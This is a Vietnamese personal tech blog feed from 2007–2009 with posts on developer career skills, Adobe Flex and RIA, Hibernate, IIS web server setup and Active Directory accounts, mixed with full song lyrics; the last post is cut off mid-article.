Music online - Learning English Online - Tips For Bloggers - IT Sharing

9 kỹ năng cho lập trình viên tương lai

noreply@blogger.com (DangLVH) — Mon, 13 Apr 2009 09:51:00 +0000

1. Get one of top 3 (PHP, JAVA, .NET)

Trừ khi thế giới sụp đổ, developers vẫn cần ít nhất 1 trong 3 programming language này mà theo ý kiến cá nhân thì hãy chọn 1 trong 2 cái đầu tiên. Điều quan trọng là không chỉ phải nắm cú pháp hay sử dụng ngôn ngữ đó đơn thuần, developer cần phải nắm được cách tương tác với các service cùng hay khác ngôn ngữ nữa.

2. Rich Internet Applications

RIA đang phát triển mạnh với Adobe Flash, Flex/AIR và SilverLight, JavaFx. Tốc độ đường truyền ngày càng cao trong khi ứng dụng càng mang tính visualized càn dễ dùng và đáng tin cậy hơn. Đó là lý do nên nắm bắt một công cụ RIA kết hợp với HTML 5.0 dù version này có thể sẽ là Vista của internet - sẽ hoàn chỉnh vào 2020.

3. Web development

Không còn chối cãi gì nữa khi lịch sử lập trình 5 năm trước người ta cân nhắc về ứng dụng stand-alone, nhiều khi còn gọi là Windows Application và web application. Ngày nay, web application chiếm ưu thế tuyệt đối. Developer không thể không biết về web application development. Tuy nhiên, không biết các trường đại học ở VN giờ này đã đầu tư và có đủ khả năng truyền đạt công nghệ này cho SV hay chưa.

4. Web services

Các ứng dụng mỗi ngày lại ... xích lại gần nhau hơn theo tinh thần của Trịnh Công Sơn. Tận dụng những dịch vụ từ ebay, yahoo, google, Windows Live,... sẽ là một thế mạnh lớn.

5 Soft skills

Đây là điểm tử huyệt của đa số developers VN. Giao tiếp quá ngắn, luôn nghĩ người khác hiểu vấn đề cũng cách với mình hoặc luôn cho rằng mình đúng. E ngại tranh luận hoặc quá gay gắt. Thiếu kỹ năng tiếng Anh hoặc cho rằng mình đọc và viết tiếng Anh tốt trong khi trên thực tế, ít người nước ngoài nào đọc hiểu được thứ tiếng Anh "bác học" + "châu á" của họ.

Hoàn toàn thiếu kiến thức kinh doanh và đưa 2 chữ "khách hàng" ra khỏi từ điển công việc. Khách hàng thậm chí trở thành kẻ thù số một, ngu muội và chỉ biết cậy có tiền để đòi hỏi mỗi khi project manager bắt đầu điệp khúc "đó là cái khách hàng muốn".

6. Agile process

Xin hãy từ bỏ khái niệm phát triển ứng dụng waterfall ở trường đại học. Các ứng dụng ngày nay ở quy mô nhỏ và vừa chỉ cần y/c trên cửa số chat hay email để trở thành 1 function trong hệ thống. Mô hình hoá hệ thống, phát triển nhanh, hoàn thiện và sửa lỗi là cơ sở để project hoàn thành. Sẽ không ai biết phải làm việc với bạn thế nào nếu cứ ngồi chờ yêu cầu được viết thành tài liệu và đóng thành tập.

7. Domain knowledge

Đây chưa phải là một điểm mấu chốt cho VN developers nhưng sẽ là cần thíêt khi dần tiến lên 1 vị trí quản lý như project manager. Kiến thức về một lĩnh vực nào đó trong thực tế liên quan đến hệ thống đang xây dựng sẽ là vô cùng cần thiết. Nó cũng tương tự với việc đừng ngồi chờ requirment document/specification mà hãy nói, OK tôi biết quy trình của việc này là gì.

8. Development "hygiene" - vệ sinh !

Teamwork sẽ là điều tất yếu khiến người vệ sinh và có tổ chức được mọi người yêu quý hơn. Test process + bug tracker, coding convention + source control, diagram + documentation. Mọi thứ là cần thiết, không có hoặc không lý tưởng như trong trường đại học mà sẽ là cái mà cty bạn làm quen dùng.

9. Mobile development

i-phone có nhiều khả năng thay thế chữ "điện thoại" giống như xerox thay cho máy photocopy. Nhiều khả năng mobile device 3 năm nữa sẽ mạnh hơn 1 chiếc laptop hiện nay. Kỹ thuật lập trình sẽ không phải là vấn đề đáng quan ngại nhưng một tư duy lập trình cho người dùng đang ... "bay", lái xe 1 tay, nhìn bằng 1 mắt, vừa làm việc vừa nghe nhạc,... sẽ là cái lập trình viên cần phải làm quen.

Hưng Nguyễn - Link

Web 2.0?

noreply@blogger.com (DangLVH) — Fri, 02 Jan 2009 09:49:00 +0000

Web 2.0, có lẽ bạn cũng chẳng xa lạ gì với thuật ngữ trên, nhưng thật khó để hiểu và định nghĩa được nó.
Mời bạn xem video dưới đây để có thể mường tượng thêm về web 2.0 một thuật ngữ mà không thể diễn tả hết bằng lời

Listen To Your Man - STEVIE HOANG

noreply@blogger.com (DangLVH) — Mon, 24 Nov 2008 15:59:00 +0000

Tell me why we gotta go through this again
Well I guess that you've been talking to your friends
Cause you're accusing me of things that I havent done
What I was doing at the club was just having fun
U said she saw me leave the spot with another one
Now why would I do that

Now she must have mistaken the time that she saw me leave
Cause I was rolling with my boys so the dude she saw wasn't me
You will believe what u want but it's plain to see
That your friends just want to come between you and me
Don't believe in what they say cause it's jealousy
Girl can't u see that

[Chorus:]
Girl u should know by now I'm not that type of guy
Cause I changed my ways when I found you
Just put your trust in me don't let them tear us apart
Girl u should know and understand
Listen to your man

Now we done made it this far your friend said we wouldn't last
I used to roll with a black book but that was all in my past
Now I've given up the game just to be with u
Even my homies can't believe it but girl it's true
Cause I finally found someone I can call my boo
Girl u should know that

Tell my why your heart is filled with so much doubt
Can't believe that everytime I'm gone u think id be playing u out
Don't be believeing all the things taht people say your the only girl I kick it with everyday
Tell me why the hell would I throw it all away
Why would I do that

Please believe me when I say no one else can take your place
Can't let the haters try and tear us apart
Girl your the only one that holds my heart

[Chorus: x2]
Girl u should know by now I'm not that type of guy
Cause I changed my ways when I found you
Just put your trust in me don't let them tear us apart
Girl u should know and understand
Listen to your man

I think I might be missing some things but it's all I can do

Addicted - STEVIE HOANG

noreply@blogger.com (DangLVH) — Mon, 24 Nov 2008 15:55:00 +0000

Since you went away
It's been
One year two months
But it just don't seem like yesterday
We were, we were still together
Time has passed and things have changed so
Why do I feel this way
Cause you're with somebody else
And I'm with somebody else but

Whenever I think about the love we had
(It hurts so bad)
Whenever I think about the love we made
I said that I'd be strong
Girl I really thought that I'd move on
But still I find myself asking

[Chorus:]
Do you still think of me
Like I think about you
Do you still dream of me
Cause I can't sleep without you
Tell me if time should make a change
Then why do I feel the same
Your love has got me addicted

Said I don't know
{When I'm with a chick and we make love I call your name}
Said I don't know
{Wanna be with somebody else I push them away}
Tell me if time should make a change
Then why do I feel the same
I know I gotta move on but
I'm so addicted to you
(You)

It's been long enough
Don't know
Why I'm still holding on
If I had a wish babe I would turn back the hands of time
Cause you don't know what you've got until it's gone (until it's gone)
That's the reason why I'm writing you this song

Girl I'm slippin'
And I don't know what to do
Girl I admit it
I'm sick over you
Damn
I realize my mistake
My pride got in the way
I shoulda begged you to stay

[Chorus:]
Do you still think of me
Like I think about you
Do you still dream of me
Cause I can't sleep without you
Tell me if time should make a change
Then why should I feel the same
Girl your love has got me addicted (Got me addicted)

Said I don't know
{When I'm with a chick and we make love I call your name}
Said I don't know
{Wanna be with somebody else I push them away}
Tell me if time should make a change
Then why do I feel the same
I know I gotta move on but
I'm so addicted to you

If you ever lost someone you truly love
Let me hear you say "yeah"
(Yeah)
Say "yeah"
(yeah) Let me hear you say
And if you ever lost someone you truly need
Let me hear you say "yeah"
(Yeah)
Say "yeah"
(Yeah)

[Chorus:]
Do you still think of me
Like I think about you
Do you still dream of me (yeah)
Cause I can't sleep without you
Tell me if time should make a change
Then why do I feel the same (Why do I feel)
Your love has got me addicted

Said I don't know
{When I'm with a chick and we make love I call your name}
Said I don't know
{Wanna be with somebody else I push them away}
Tell me if time should make a change
Then why do I feel the same
I know I gotta move on but
I'm so addicted to you

Like I think about you
Do you still dream of me
Cause I can't sleep without you
Tell me if time should make a change
Then why do I feel the same
Your love has got me addicted (it's got me addicted)

Said I don't know
When I'm with a chick and we make love I call your name
Said I don't know
Wanna be with somebody else I push them away (I just push them away)
Tell me if time should make a change (Make a change)
Then why do I feel the same (Feel the same)
I know I gotta move on but
I'm so addicted to you

Shawty- STEVIE HOANG

noreply@blogger.com (DangLVH) — Mon, 24 Nov 2008 15:52:00 +0000

This is for my shawtyyy... (yeah)
This is for my shawtyyy... (yo stevie)

[Chorus: x2]
People always breaking up
Falling in and out of love
I just wanna' let u know
Ama' never let u go
- for the rest of my life, gonna' be by your side

[Verse 1:]
Sometimes she drives me crazy
But I don't give a damn
Every time I need my baby
She'll always be around
The only one that's been down with me, through all of this time
My homies think I'm trippin'
Tell me I'm wasting my time
It's only cause' they can't
Find a girl that's hot like mine
There's no where else that I'd rather be, so ama' let the whole world know.

[Pre-chorus:]
Girl your, the only one for me
The only sex I need
No one else can make me feel, the way my baby does'
That why...

[Chorus: x2]
People always breaking up
Falling in and out of love
I just wanna' let u know
Ama' never let u go
- for the rest of my life, gonna' be by your side

[Verse 2:]
Girl you don't have to worry when I'm all up in the club
Cause' no one else will ever come between the two of us
It's crazy how u got me hooked, babe
I'm doing things I never do, babe
And every time I close my eyes, I thank the lord (that I have u)
You're everything a man could want
For the rest of my life,
And I'll put that on everything

[Chorus: x2]
People always breaking up
Falling in and out of love
I just wanna' let u know
Ama' never let u go
- for the rest of my life, gonna' be by your side

This is for my shawtyyy, girl u got my back and baby I got yours (ohh baby)

This is for my shawtyyy,
I've seen a dime' or two, but they don't compare to you.

This is for my shawtyyy,
Girl u got my back and baby I got yours

This is for my shawtyyy,
I've seen a dime' or two, but they don't compare to you.

[Chorus: x2]
People always breaking up
Falling in and out of love
I just wanna' let u know
Ama' never let u go
- for the rest of my life, gonna' be by your side

If I Was The One - STEVIE HOANG

noreply@blogger.com (DangLVH) — Mon, 24 Nov 2008 15:44:00 +0000

Click Read More to see the lyric.

Girl I See The Way He Treats You
I Feel The Pain And The Tears You Cry
Why Do U Let Him Do This To U Everytime Baby Everytime
Now Girl I Got A Proposition
Girl You's A Queen U Should Be With Me
Il Take You On A Private Journey,Just U And Me

If I Was The One Who Was Loving U
Id Do All The Things That He Wont Do
Ill Give You What U Need Be So Good To You
Everynight Everynight
Girl I Know Its Hard But You Can Trust In Me
Ill Be All The Man That You Could Ever Need
Baby Its Bout Time That You Should Walk Away
Give Me The Chance, Let Me Be The One

Girl I Know The Situation
You've Been With Him Now For So Long
But U Dont Have To Stay With Someone That Makes U Cry
Always Telling U Lies
Now Girl Its Obvious That He Will Never Change
So Heres Your Chance Girl Up And Leave
You Need That Special Kind Of Guy To Treat U Right
Sounds Like The Job For Me

Let Me Hear U Say, You'll Pack Your Bags And Walk Alway
Let Me Hear U Say, That U Wont Stay Another Day
Let Me Hear U Say, Girl That U Wont Be Afraid
Let Me Hear U Say, That U Gon Find A Better Day

Angel Of Mine

noreply@blogger.com (DangLVH) — Mon, 24 Nov 2008 15:02:00 +0000

Click Read More to see the lyric.

When I first saw You I already knew
There was something inside of You
Something I thought that I would never find
Angel of mine

I look at You lookin' at me
Now I know why they say
the best things are free
I'm gonna love You boy, You are so fine
Angel of Mine
The Boy Is Mine, by Monica

How You changed my world, You'll never know
I'm different now, You helped me grow
You came into my life sent from Above
When I lost all hope you showed me Love
I'm checkin' for Ya, boy You're right on time
Angel of Mine

Nothing means more to me than what we share
No one in this whole world can ever compare
Last night the way You moved
is still on my mind
Angel of Mine

What You mean to me You'll never know
Deep inside I need to show
You came into my life sent from Above
When I lost all hope, You showed me Love
I'm checkin' for Ya, boy You're right on time
Angel of Mine

I never knew I could feel these moments
As if they were new,
Every breath that I take,
the Love that we make
I only share it with You, You, You, You, You
When I first saw You I already knew
There was something inside of You
Something I thought that I would never find
Angel of Mine

You came into my life sent from Above
When I lost all hope You showed me Love
I'm checkin' for ya, boy You're right on time
Angel of Mine

How you changed my world You'll never know
I'm different now, You helped me grow

I look at You lookin' at me
Now I know why they say
the best things are free
I'm checkin' for Ya, boy You're right on time
Angel of Mine

Thống kê trực tuyến về thị phần RIA giữa Flash/Flex vs Silverlight

noreply@blogger.com (DangLVH) — Fri, 10 Oct 2008 06:06:00 +0000

RIAstats.com là ứng dụng thống kê trực tuyến dưới dạng biểu đồ cho phép phân tích việc triển khai máy ảo Flash/Flex và Silverlight trên các hệ điều hành và trình duyệt. Bạn cũng có thể nhận tin thống kê về RIAstats.com trên website của bạn - miễn phí!

http://www.riavietnam.com/node/139

Flex - Watch and learn now!

noreply@blogger.com (DangLVH) — Fri, 10 Oct 2008 05:34:00 +0000

Flash Extensions is dedicated in providing video tutorials focused around developing and deploying the Flash Platform including Flash, Flex, ActionScript and relating technologies. We all know that mastering Flash is not enough. That is why we also cover topics on how to integrate Flash with desktop and server-side applications such as PHP, AMF Remoting, real-time communication (such as Red 5) and more. The current library has over 200 video tutorials on various topics. Each is delivered with information that can only be obtained through experience in the work field. Now that information is available to you!

Original link url: http://www.flashextensions.com/tutorials.php

Flex in a Week - Học Adobe Flex trong vòng một tuần [FREE]

noreply@blogger.com (DangLVH) — Fri, 10 Oct 2008 05:29:00 +0000

Nếu bạn đang nghĩ về việc học Flex nhưng lại cảm thấy quá khó, chi phí học quá đắt hoặc tốn nhiều thời gian, Flex in a Week của Adobe sẽ có cách hổ trợ bạn.

Flex in a Week là chương trình dạy học miễn phí thông qua serie video hướng dẫn để bạn có thể học và tự đánh giá. Chương trình được xây dựng trên những bài tập cơ bản và mang đến thêm những khái nhiệm dành cho người học trung cấp. Tất cả là đủ để bạn bắt đầu!

Nếu bạn đi đến khó khăn hoặc có thắc mắc, bạn có thể đặt câu hỏi tại diễn đàn Flex in a Week forum.

Xin gửi lời cám ơn đến Matt Chotin và nhóm cộng đồng Flex, Ted Patrick và nhóm quản trị cộng đồng, cũng như Jeremy Allaire và Brightcove posse, đã làm tất cả để Flex in a Week có thể đến với bạn.

Thông tin được lược dịch từ blog.schematic.com.au

Top 10 ứng dụng Flex và Air dành cho sinh viên

noreply@blogger.com (DangLVH) — Fri, 10 Oct 2008 05:05:00 +0000

Là sinh viên học Đại học là một kinh nghiệm tuyệt vời. Việc chuẩn bị cho một chương mới cho cuộc sống, và sau đó là đạt được sự độc lập. Tuy nhiên, trong suốt quãng đời sinh viên, bạn sẽ thấy những khó khăn như học phí quá đắt, và bạn phải làm thêm để vượt qua điều đó. Areez Gangji, sinh viên của Adobe tại đại học Carleton , sẽ giới thiệu đến bạn Top 10 ứng dụng Flex và Air dành cho sinh viên. Những ứng dụng này sẽ hổ trợ rất nhiều cho các sinh viên trong việc học tập và giải trí (nói như vậy không có nghĩa bạn không thể sử dụng các ứng dụng này nếu bạn không phải là sinh viên):

10. Timetoast

Phải ghi nhớ rất nhiều ngày tháng với những sự kiện quan trọng. Timetoast sẽ giúp bạn tổ chức chúng một cách dễ nhớ. Thêm vào ngày tháng với những miêu tả, ghi chú và Timetoast sẽ sắp xếp theo thứ tự cây thước thời gian. Bạn cũng có thể thêm hình ảnh và chọn cây thước thời gian mà các người dủng khác tạo ra.

9. Craig's List Desktop

CL Desktop giúp bạn tìm kiếm một cách dễ hơn. Hình ảnh được thể hiện trong danh sách. Việc tìm kiếm cũng có nhiều lực chọn hơn.

8. TweetDeck

Twitter là mạng xã hội để bạn nói với cả thế giới về những điều bạn đang nghĩ hay đang làm. TweetDeck là ứng dụng hổ trợ Twitter của bạn. Nó để bạn đọc và viết tweets ngoài các trình duyệt và có thể giấu nó ở một góc trên màn hình để không phiền hà đến các công việc khác của bạn.

7. IExpenseOnline

IExpenseOnline giống như một tư vấn tài chính trong máy tính. Nó giúp theo dõi chi phí, thu nhập và cung cấp các mẹo vặt để cắt giảm chi phí, tiết kiệm tiền của bạn. Đặc biệt, với những biểu đồ thống kê sẽ giúp mô tả cho những người quan tâm đến tài chính của bạn.

6. TokBox

Cám ơn TokBox, vì bạn sẽ không bao giờ phải mua một thẻ gọi khác nữa. TokBox cho bạn gọi bất cứ ai với một địa chỉ email và để lại tin nhắn. Bạn có thể truy cập danh sách mối quan hệ (contact list) từ MSN, AIM, ... Bạn còn có thể thu âm, ghi phim khi bạn có web cam để chia sẻ với gia đình và bạn bè.

5. Photoshop Express

Với Photoshop Express, chắc bạn sẽ biết là ứng dụng gì?. Nếu không thì bạn hãy xem phần giới thiệu trong các bài viết Sử dụng trình biên tập ảnh Photoshop trực tuyến, Adobe nâng cấp phiên bản trực tuyến Photoshop Express

4. mooFlair

mooFlair là một trong dịch vụ cung cấp video tốt nhất cho desktop. Nó cho phép bạn liên tục xem video trong khi tìm kiếm những gì bạn mong muốn xem kế tiếp, tạo & truy cập playlists, và download videos về máy để sử dụng với iPod.

3. Finetune

Internet radio trở nên tốt hơn với Finetune, một trong 100 Webware hay nhất hiện nay, là dịch vụ chia sẻ nhạc. Bạn có thể đọc thêm tại bài viết Nghe nhạc với Finetune Desktop

2. Acrobat.com

Acrobat.com là sản phẩm của Adobe mà giúp bạn làm việc theo cách nhóm việc với những chức năng:

Buzzword: ứng dụng soạn thảo tài liệu trực tuyến mà bạn có thể nhập vào bất cứ trình soạn thảo văn bản nào (.txt, .doc ...). Bạn có thể chia sẻ với mọi người, cho phép họ đọc, bình luận hay thậm chí chỉnh sữa và bạn đừng lo vì bạn có thể khôi phục lại bất cứ thay đổi nào.
Adobe ConnectNow: Chia sẻ desktop của bạn với bất cứ ai trong buổi họp với các công cụ chat trực tuyến , nhắn tin và dủng webcam. Nó là ứng dụng hữu ích cho các cuộc họp ảo.
Adobe Share: Không chỉ cho bạn 5 GB không gian lưu trữ miễn phí, mà còn cho phép bạn chia sẻ file với mọi người khi họ có email!

1. MediaMaster

Bạn có thể tưởng tượng việc ổ cứng bị rớt và bị mất hết dữ liệu bao gồm tài liệu, hình ảnh, trò chơi và đặc biệt đó là những bài nhạc bạn yêu thích? MediaMaster không thể giúp bạn cứu vớt những dữ liệu đó nhưng có thể giúp bạn lưu trữ thư viện nhạc để bạn không phải chép/tải hay mua lại chúng. Bạn cũng có thể tìm nghe các danh sách nhạc của những người dùng khác.

Theo Adobe tại:
http://www.adobe.com/devnet/flex/articles/apps_students.html?devcon=f2

Flex - Tương lai của RIA

noreply@blogger.com (DangLVH) — Fri, 10 Oct 2008 05:01:00 +0000

Trong thời gian gần đây, sự xuất hiện và phát triển mạnh mẽ của công nghệ AJAX đã làm cho nhu cầu RIA (Rich Internet Application) gia tăng mạnh mẽ.

Flash cũng là 1 công nghệ có thể xây dựng RIA bằng các ứng dụng Flash form nhưng tính tiện dụng của Flash là chưa cao. Adobe nhận thấy yếu điểm này của Flash nên đã nghiên cứu và cho ra đời công nghệ Flex . Phiên bản Flex 1.0 và 1.5 trước đây mặc dù còn nhiều yếu điểm song vẫn thu hút nhiều nhà thiết kế bởi cấu trúc mã lệnh và xử lý dữ liệu đơn giản, tầng trình diễn mạnh và quan trọng nhất là nó liên kết chặt chẽ với Flash, 1 công nghệ hiện đang rất phổ biến và tiện dụng. Sự kiện đánh dấu bước nhảy vọt của công nghệ Flex chính là giải thuởng 2007 Technology of the Year Awards trong lĩnh vực RIA dành cho phiên bản Flex 2.0 do tạp chí Info World tổ chức.

1. Thành phần của Flex

Flex 2.0 là sự kết hợp 2 công nghệ chính Multimedia eXtensible Markup Language (MXML) và Action Script dựa trên nền tảng phát triển Eclipse. Ngoài ra, còn một thành phần rất quan trọng khác của nền tảng Flex 2.0 là Dịch vụ dữ liệu Flex (Flex Data Services – FDS), được đưa ra để thay thế máy chủ trình diễn Flex (Flex Presentation Server) ở các phiên bản Flex trước đây

MXML

Là ngôn ngữ dựa trên XML giúp tạo ra các ứng dụng Flex. Cấu trúc của MXML khá giống với HTML, ta có thể xem qua ví dụ nhỏ sau:

Nhìn vào đoạn mã trên, đối với những người có chút kiến thức về IT có thể hiểu ngay nó dùng làm gì. Tương tự với HTML, các file MXML cũng cho phép nhúng các đoạn script vào trong và gọi ở nơi thích hợp. Chỉ khác ở chỗ là HTML sử dụng Java còn MXML thì sử dụng Action Script. MXML mạnh hơn rất nhiều so với HTML bởi ngoài khả năng sử dụng các thành phần (component) phong phú được tạo sẵn, ta còn có thể tạo ra các component cũng như event . Có thể nói MXML mạnh mẽ không kém gì các ngôn ngữ lập trình thông thường hiện nay. Việc kết hợp các file MXML với nhau là việc rất dễ dàng, chính vì thế việc tái sử dụng hay xây dựng template cho 1 website trở nên nhẹ nhàng hơn.

Action Script 3.0

Action script 3.0 hỗ trợ mô hình lập trình hướng đối tượng (OOP) hoàn chỉnh, giới thiệu các kiểu dữ liệu cơ bản và đặc biệt là từ khóa sealed class giúp tăng hiệu năng của ứng dụng. Hơn hẳn các ngôn ngữ script khác, action script có hẳn một thư viện đồ họa giúp vẽ các ảnh vector và tạo effect lúc runtime. Action script + MXMLl kết hợp với thư viện component đồ sộ của flex giúp tạo ra các ứng dụng web cực kì mạnh mẽ về tính năng và mỹ thuật.

FDS

FDS có thể chạy tốt trên nhiều nền tảng khác nhau như Windows, Linux, Unix và làm việc tốt với hầu hết các máy chủ ứng dụng Java. FDS cung cấp một số công cụ quản trị và giám sát cơ bản có thể truy nhập thông qua trình duyệt. Tuy nhiên, FDS được đưa ra chủ yếu để triển khai và chạy các ứng dụng Flex, tăng khả năng tích hợp và liên kết dữ liệu cấp doanh nghiệp.

2. Sức mạnh của Flex

Các công cụ trong Flex Builder và Flex Data Services đã đơn giản hoá việc phát triển ứng dụng và làm cho bản thân các ứng dụng này hoạt động tốt hơn. Các nhà phát triển cũng không phải bỏ tiền ra để sử dụng thành phần phát triển ứng dụng này. Flex SDK miễn phí bao gồm tất cả công cụ chương trình biên dịch, chương trình gỡ rối, và các mã cần thiết để tạo các ứng dụng Flex. Hơn nữa, giờ đây Flex SDK cũng có thể dùng để tạo các ứng dụng hoạt động độc lập mà không cần có sự hỗ trợ của máy chủ.

Điểm mạnh

Khác với các phiên bản Flex trước đây, Flex 2.0 đã được cải tiến rất nhiều cả về tính năng và giao diện làm việc. Với Flex 2.0, người dùng khả năng chuyển đổi giữa thiết kế theo phương pháp kéo-thả và môi trường viết mã lệnh cho phép xây dựng từng phần của ứng dụng trong môi trường thích hợp nhất. Chẳng hạn, với khung nhìn thiết kế, người ta có thể kéo và thả các thành phần để bố cục ứng dụng rồi nhanh chóng xây dựng các phần trình diễn cơ bản cho ứng dụng. Trong khung nhìn mã lệnh, tất cả các trợ giúp viết mã cần thiết đều có sẵn để giúp hiệu chỉnh trực tiếp mã ứng dụng, thông tin định dạng (stylesheet) và các mã định nghĩa riêng của Flex như ActionScripts hay MXML.

Điểm yếu

Điểm yếu Flex Builder lại chỉ tương thích duy nhất với môi trường Windows, điều mà người ta ít thấy ở các sản phẩm của hãng Adobe .Mặc dù Flex builder được phát triển trên nền tảng Eclipse – nền tảng được thiết kế để thực thi trên nhiều môi trường khác nhau và có FDS rất mạnh mẽ.
Mặc dù việc tạo ra các ứng dụng Flex là khá dễ dàng đối với các nhà phát triển đã quen với lập trình ứng dụng Web và dịch vụ Web, Flex vẫn có một số thành phần khá phức tạp đối với các lập trình viên chưa thành thạo. Tuy vậy, bộ công cụ hỗ trợ cho lập trình viên của Flex khá mạnh với các ví dụ mẫu, hướng dẫn giải quyết tình huống trong từng hoàn cảnh cùng các trợ giúp khác giúp người dùng dễ dàng vượt qua các khó khăn trong quá trình phát triển ứng dụng Flex.
Với những gì hiện có, Flex xứng đáng được vinh danh tại 2007 Technology of the Year Awards . Tương lai của RIA cần những cú huých như thế này để ngày càng phát triển lên những tầng cao mới. Flex đã mang lại bước tiến nhảy vọt cho RIA nói riêng và IT thế giới nói chung.

Võ Quân - http://www.itaexpress.com.vn

Sorry all!

noreply@blogger.com (DangLVH) — Thu, 24 Apr 2008 17:53:00 +0000

Now, I'm very busy with my job, so you may (or may not) have noticed that I haven't really been around recently. No new posts, not answering comments or emails, etc......

Hibernate

noreply@blogger.com (DangLVH) — Thu, 25 Oct 2007 14:41:00 +0000

Relational Persistence for Java and .NET

Hibernate is a powerful, high performance object/relational persistence and query service. Hibernate lets you develop persistent classes following object-oriented idiom - including association, inheritance, polymorphism, composition, and collections. Hibernate allows you to express queries in its own portable SQL extension (HQL), as well as in native SQL, or with an object-oriented Criteria and Example API.

Unlike many other persistence solutions, Hibernate does not hide the power of SQL from you and guarantees that your investment in relational technology and knowledge is as valid as always. The LGPL open source license allows the use of Hibernate and NHibernate in open source and commercial projects.

Hibernate is a Professional Open Source project and a critical component of the JBoss Enterprise Middleware System (JEMS) suite of products. JBoss, a division of Red Hat, offers a range of 24x7 Professional Support, Consulting, and Training services to assist you with Hibernate.

Hibernate Core	Hibernate for Java, native APIs and XML mapping metadata
Hibernate Annotations	Map classes with JDK 5.0 annotations
Hibernate EntityManager	Standard Java Persistence API for Java SE and Java EE
Hibernate Shards	Horizontal data partitioning framework
Hibernate Validator	Data integrity annotations and validation API
Hibernate Search	Hibernate integration with Lucene for indexing and querying data
Hibernate Tools	Development tools for Eclipse and Ant
NHibernate	The NHibernate service for the .NET framework
JBoss Seam	Framework for JSF, Ajax, and EJB 3.0/Java EE 5.0 applications

http://www.hibernate.org/

Hướng dẫn cài đặt webserver IIS

noreply@blogger.com (DangLVH) — Mon, 22 Oct 2007 14:49:00 +0000

Bạn vào menu Start -> Control Panel -> Add/Remove Program -> Add/Remove Windows Components . Sau khi hộp thoại Add/Remove Windows Components xuất hiện, bạn kéo thanh trượt xuống dưới đến phần Internet Informations Services (15.7 MB) bạn đánh dấu check vào đó để chọn cài đặt IIS vào máy của bạn. Rồi nhấp Next để Windows cài đặt IIS cho bạn, bạn sẽ thấy có yêu cầu cho CD Windows XP vào máy. Hãy lấy đĩa CD mà bạn cài HĐH Windows trên máy của mình cho vào ổ CD, đợi khỏang 5 phút cho quá trình cài đặt kết thúc.
Như vậy trình Webserver IIS đã được cài vào máy của bạn rồi đó.

Sau khi đã hoàn thành việc cài đặt IIS, vào Control panel, Administrative tool, khởi động Interner Services Manager:

1. Click chuột phải vào tên máy chủ (gốc của cây được đánh dấu bởi dấu hoa thị), chọn New, Website, cửa sổ Website Creation Wizard hiện ra, chọn Next.

2. Đánh vào phần mô tả của Website của bạn và chọn Next (Ví dụ: dyndns)

3. Trong trường IP address chọn All Unssigned.

4. Trong trường port chọn port 80 hoặc port khác nếu bạn sử dụng port thay thế (hoặc nếu ISP của bạn khóa port 80).

5. Trong trường Header gõ vào tên miền (ví dụ: dyndns.vnnic.net.vn) và chọn Next.

6. Chọn vào Browser và trỏ tới thư mục nơi lưu trữ các file của Website cho tên miền (domain) trên (ví dụ: C:\Document and Setting\Administrator\Mydocument\Website\Dyndns). Đảm bảo chắc chắn rằng hộp thoại “Allow anonymous access to website” đã được chọn nếu bạn muốn tất cả người dùng đều nhìn thấy website của bạn. Chọn Next.

7. Có thể cấu hình thêm một số tuỳ chọn khác tuỳ theo yêu cầu của bạn:

8. Chọn Finish để kết thúc quá trình thiết lập Website.

Bạn có thể lặp lại các bước này để thiết lập các Website khác.

Bây giờ tên Website đã xuất hiện trong danh sách server.

- Để kiểm tra xem click chuột phải lên tên Website và chọn vào Browse hoặc bật cửa sổ Internet Explore (IE) lên và đánh tên miền của bạn vào trường URL (ví dụ: dyndns.vnnic.net.vn).

Bạn có thể lặp lại chu trình trên để thiết lập nhiều Website mà bạn muốn bằng IIS.

Cấu hình và sửa lỗi cho các Website:

Nếu bạn không nhìn thấy Website của mình hoặc chỉ nhìn thấy cửa sổ login bạn sẽ phải cấu hình lại cho chính xác quyền truy cập vào Website của mình hoặc file index mà bạn sẽ dùng cho Website của bạn.

1. Click chuột phải vào tên Website nằm trong danh sách server mà bạn mới thiết lập và chọn Property từ menu đó.

2. Chọn vào tad Directory Security và chọn vào mục Edit “Anonymous Access …”.

3. Đảm bảo chắc chắn rằng Anonymous Access property được chọn và click chuột vào nút Edit.

4. Xem xét xem tài khoản của người sử dụng có được quyền truy cập vào máy tính hay thư mục Website của bạn không.

Để chắc chắn bạn có vấn đề về quyền truy nhập, hãy thử sử dụng tài khoản Administrator ở đây.

Sau khi đã giải quyết vấn đề về quyền truy nhập nhưng bạn vẫn nhận được thông báo “Directory Listing Denied”, chắc chắn bạn đã trỏ Website của bạn tới file index không phù hợp với file index được phép hoặc đã đăng ký cho Website của bạn.

1. Click chuột phải vào tên Website nằm trong danh sách server của bạn mà bạn mới thiết lập và chọn Property từ menu đó.

2. Click vào Document tab

3. Click Add và đánh vào tên file index của bạn rồi ấn OK (ví dụ: Website dyndns ở trên có file index dạng index.htm).

4. Ấn tiếp OK để kết thúc.

Bây giờ thử mở Browse và gõ vào trường URL tên miền của bạn, nếu cấu hình chính xác Website sẽ chạy.

Lặp lại chu trình trên để cấu hình cho tất cả các Website sử dụng IIS.

Kiến thức cơ bản về mạng: Phần 12 – Quản lý tài khoản người dùng

noreply@blogger.com (DangLVH) — Sun, 21 Oct 2007 03:20:00 +0000

Trong phần trước của loạt bài này, chúng tôi đã giới thiệu cho các bạn về Active Directory Users và Computers console. Mặc dù trong phần đó đã giới thiệu cách kết nối đến miền cần chọn bằng giao diện này, nhưng còn một vấn đề mà chúng tôi muốn giới thiệu tiếp đó là cách sử dụng giao diện điều khiển này trong các nhiệm vụ quản lý hàng ngày. Trong phần này, chúng tôi sẽ giới thiệu cho các bạn một số kỹ thuật cơ bản cho việc bảo quản tài khoản người dùng.

Tạo một tài khoản người dùng (User Account)

Một trong những sử dụng thấy nhiều nhất ở Active Directory Users trong Computers console là tạo các tài khoản người dùng mới. Để thực hiện điều đó, bạn mở mục tương ứng với miền chứa người dùng, chọn mục Users. Sau khi thực hiện như vậy, một panel chi tiết của giao diện sẽ hiển thị tất cả tài khoản người dùng đang tồn tại trong miền (như trong hình A).

Hình A: Chọn mục Users, giao diện điều khiển sẽ hiển thị
tất cả các tài khoản người dùng trong miền

